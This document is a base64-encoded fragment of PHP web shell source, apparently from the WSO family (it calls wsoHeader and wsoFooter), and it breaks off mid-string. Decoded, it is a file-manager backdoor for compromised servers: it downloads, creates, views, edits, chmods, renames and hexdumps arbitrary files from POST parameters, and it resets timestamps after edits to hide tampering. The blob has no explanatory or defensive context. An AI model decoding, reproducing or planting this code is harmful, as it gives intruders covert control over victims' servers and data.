ICAgICAgICAgICAgICAgICAgICBpZiAoQCRfUE9TVFsncDInXSA9PSAnZG93bmxvYWQnKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKEBpc19maWxlKCRfUE9TVFsncDEnXSkgJiYgQGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQwOTYpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSIgLiBiYXNlbmFtZSgkX1BPU1RbJ3AxJ10pKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygibWltZV9jb250ZW50X3R5cGUiKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHR5cGUgPSBAbWltZV9jb250ZW50X3R5cGUoJF9QT1NUWydwMSddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiAiIC4gJHR5cGUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAiciIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGZwKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoIUBmZW9mKCRmcCkpIGVjaG8gQGZyZWFkKCRmcCwgMTAyNCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBleGl0Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKEAkX1BPU1RbJ3AyJ10gPT0gJ21rZmlsZScpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRfUE9TVFsncDEnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3cnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRmcCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMiddID0gImVkaXQiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c29IZWFkZXIoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxoMT5GaWxlIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoQCRfUE9TVFsncDEnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICdGaWxlIG5vdCBleGlzdHMnOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdzb0Zvb3RlcigpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkX1BPU1RbJ3AxJ10pKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJHVpZCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR1aWRbJ25hbWUnXSA9IEBmaWxlb3duZXIoJF9QT1NUWydwMSddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZ2lkWyduYW1lJ10gPSBAZmlsZWdyb3VwKCRfUE9TVFsncDEnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgJGdpZCA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRfUE9TVFsncDEnXSkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHNwYW4+TmFtZTo8L3NwYW4+ICcgLiBodG1sc3BlY2lhbGNoYXJzKEBiYXNlbmFtZSgkX1BPU1RbJ3AxJ10pKSAuICcgPHNwYW4+U2l6ZTo8L3NwYW4+ICcgLiAoaXNfZmlsZSgkX1BPU1RbJ3AxJ10pID8gd3NvVmlld1NpemUoZmlsZXNpemUoJF9QT1NUWydwMSddKSkgOiAnLScpIC4gJyA8c3Bhbj5QZXJtaXNzaW9uOjwvc3Bhbj4gJyAuIHdzb1Blcm1zQ29sb3IoJF9QT1NUWydwMSddKSAuICcgPHNwYW4+T3duZXIvR3JvdXA6PC9zcGFuPiAnIC4gJHVpZFsnbmFtZSddIC4gJy8nIC4gJGdpZFsnbmFtZSddIC4gJzxicj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHNwYW4+Q2hhbmdlIHRpbWU6PC9zcGFuPiAnIC4gZGF0ZSgnWS1tLWQgSDppOnMnLCBmaWxlY3RpbWUoJF9QT1NUWydwMSddKSkgLiAnIDxzcGFuPkFjY2VzcyB0aW1lOjwvc3Bhbj4gJyAuIGRhdGUoJ1ktbS1kIEg6aTpzJywgZmlsZWF0aW1lKCRfUE9TVFsncDEnXSkpIC4gJyA8c3Bhbj5Nb2RpZnkgdGltZTo8L3NwYW4+ICcgLiBkYXRlKCdZLW0tZCBIOmk6cycsIGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pKSAuICc8YnI+PGJyPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJF9QT1NUWydwMiddKSkgJF9QT1NUWydwMiddID0gJ3ZpZXcnOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzX2ZpbGUoJF9QT1NUWydwMSddKSkgJG0gPSBhcnJheSgnVmlldycsICdIaWdobGlnaHQnLCAnRG93bmxvYWQnLCAnSGV4ZHVtcCcsICdFZGl0JywgJ0NobW9kJywgJ1JlbmFtZScsICdUb3VjaCcpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSAkbSA9IGFycmF5KCdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRtIGFzICR2KSBlY2hvICc8YSBocmVmPSMgb25jbGljaz0iZyhudWxsLG51bGwsJycgLiB1cmxlbmNvZGUoJF9QT1NUWydwMSddKSAuICcnLCcnIC4gc3RydG9sb3dlcigkdikgLiAnJykiPicgLiAoKHN0cnRvbG93ZXIoJHYpID09IEAkX1BPU1RbJ3AyJ10pID8gJzxiPlsgJyAuICR2IC4gJyBdPC9iPicgOiAkdikgLiAnPC9hPiAnOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGJyPjxicj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3dpdGNoICgkX1BPU1RbJ3AyJ10pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICd2aWV3JzoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHByZSBjbGFzcz1tbDE+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRmcCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCFAZmVvZigkZnApKSBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwgMTAyNCkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkZnApOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvcHJlPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJ2hpZ2hsaWdodCc6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChAaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz1tbDEgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICNlMWUxZTE7Y29sb3I6YmxhY2s7Ij4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvZGUgPSBAaGlnaGxpZ2h0X2ZpbGUoJF9QT1NUWydwMSddLCB0cnVlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoJzxzcGFuICcsICc8L3NwYW4+JyksIGFycmF5KCc8Zm9udCAnLCAnPC9mb250PicpLCAkY29kZSkgLiAnPC9kaXY+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdjaG1vZCc6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydwMyddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBlcm1zID0gMDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvciAoJGkgPSBzdHJsZW4oJF9QT1NUWydwMyddKSAtIDE7JGkgPj0gMDstLSRpKSAkcGVybXMrPSAoaW50KSRfUE9TVFsncDMnXVskaV0gKiBwb3coOCwgKHN0cmxlbigkX1BPU1RbJ3AzJ10pIC0gJGkgLSAxKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoIUBjaG1vZCgkX1BPU1RbJ3AxJ10sICRwZXJtcykpIGVjaG8gJ0Nhbid0IHNldCBwZXJtaXNzaW9ucyE8YnI+PHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsZWFyc3RhdGNhY2hlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pjxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJycsbnVsbCx0aGlzLmNobW9kLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y2htb2QgdmFsdWU9IicgLiBzdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJF9QT1NUWydwMSddKSksIC00KSAuICciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdlZGl0JzoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFpc193cml0YWJsZSgkX1BPU1RbJ3AxJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICdGaWxlIGlzbid0IHdyaXRlYWJsZSc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRfUE9TVFsncDMnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aW1lID0gQGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMyddID0gc3Vic3RyKCRfUE9TVFsncDMnXSwgMSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAidyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRmcCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBmd3JpdGUoJGZwLCAkX1BPU1RbJ3AzJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBmY2xvc2UoJGZwKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICdTYXZlZCE8YnI+PHNjcmlwdD5wM189IiI7PC9zY3JpcHQ+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAdG91Y2goJF9QT1NUWydwMSddLCAkdGltZSwgJHRpbWUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJycsbnVsbCwnMScrdGhpcy50ZXh0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT10ZXh0IGNsYXNzPWJpZ2FyZWE+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRmcCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCFAZmVvZigkZnApKSBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwgMTAyNCkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkZnApOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJ2hleGR1bXAnOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYyA9IEBmaWxlX2dldF9jb250ZW50cygkX1BPU1RbJ3AxJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbiA9IDA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoID0gYXJyYXkoJzAwMDAwMDAwPGJyPicsICcnLCAnJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gPSBzdHJsZW4oJGMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IgKCRpID0gMDskaSA8ICRsZW47KyskaSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhbMV0uPSBzcHJpbnRmKCclMDJYJywgb3JkKCRjWyRpXSkpIC4gJyAnOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3dpdGNoIChvcmQoJGNbJGldKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgMDoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhbMl0uPSAnICc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSA5Og0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaFsyXS49ICcgJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlIDEwOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaFsyXS49ICcgJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlIDEzOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaFsyXS49ICcgJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkZWZhdWx0Og0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaFsyXS49ICRjWyRpXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRuKys7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJG4gPT0gMzIpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbiA9IDA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRpICsgMSA8ICRsZW4pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhbMF0uPSBzcHJpbnRmKCclMDhYJywgJGkgKyAxKSAuICc8YnI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhbMV0uPSAnPGJyPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhbMl0uPSAiDQoiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTUgYmdjb2xvcj0jMjIyMjIyPjx0cj48dGQgYmdjb2xvcj0jMzMzMzMzPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogbm9ybWFsOyI+PHByZT4nIC4gJGhbMF0gLiAnPC9wcmU+PC9zcGFuPjwvdGQ+PHRkIGJnY29sb3I9IzI4MjgyOD48cHJlPicgLiAkaFsxXSAuICc8L3ByZT48L3RkPjx0ZCBiZ2NvbG9yPSMzMzMzMzM+PHByZT4nIC4gaHRtbHNwZWNpYWxjaGFycygkaFsyXSkgLiAnPC9wcmU+PC90ZD48L3RyPjwvdGFibGU+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAncmVuYW1lJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbJ3AzJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoIUByZW5hbWUoJF9QT1NUWydwMSddLCAkX1BPU1RbJ3AzJ10pKSBlY2hvICdDYW4ndCByZW5hbWUhPGJyPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlIGRpZSgnPHNjcmlwdD5nKG51bGwsbnVsbCwiJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AzJ10pIC4gJyIsbnVsbCwiIik8L3NjcmlwdD4nKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsJycgLiB1cmxlbmNvZGUoJF9QT1NUWydwMSddKSAuICcnLG51bGwsdGhpcy5uYW1lLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bmFtZSB2YWx1ZT0iJyAuIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKSAuICciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICd0b3VjaCc6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydwMyddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRpbWUgPSBzdHJ0b3RpbWUoJF9QT1NUWydwMyddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdGltZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghdG91Y2goJF9QT1NUWydwMSddLCAkdGltZSwgJHRpbWUpKSBlY2hvICdGYWlsISc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSBlY2hvICdUb3VjaGVkISc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgZWNobyAnQmFkIHRpbWUgZm9ybWF0ISc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgI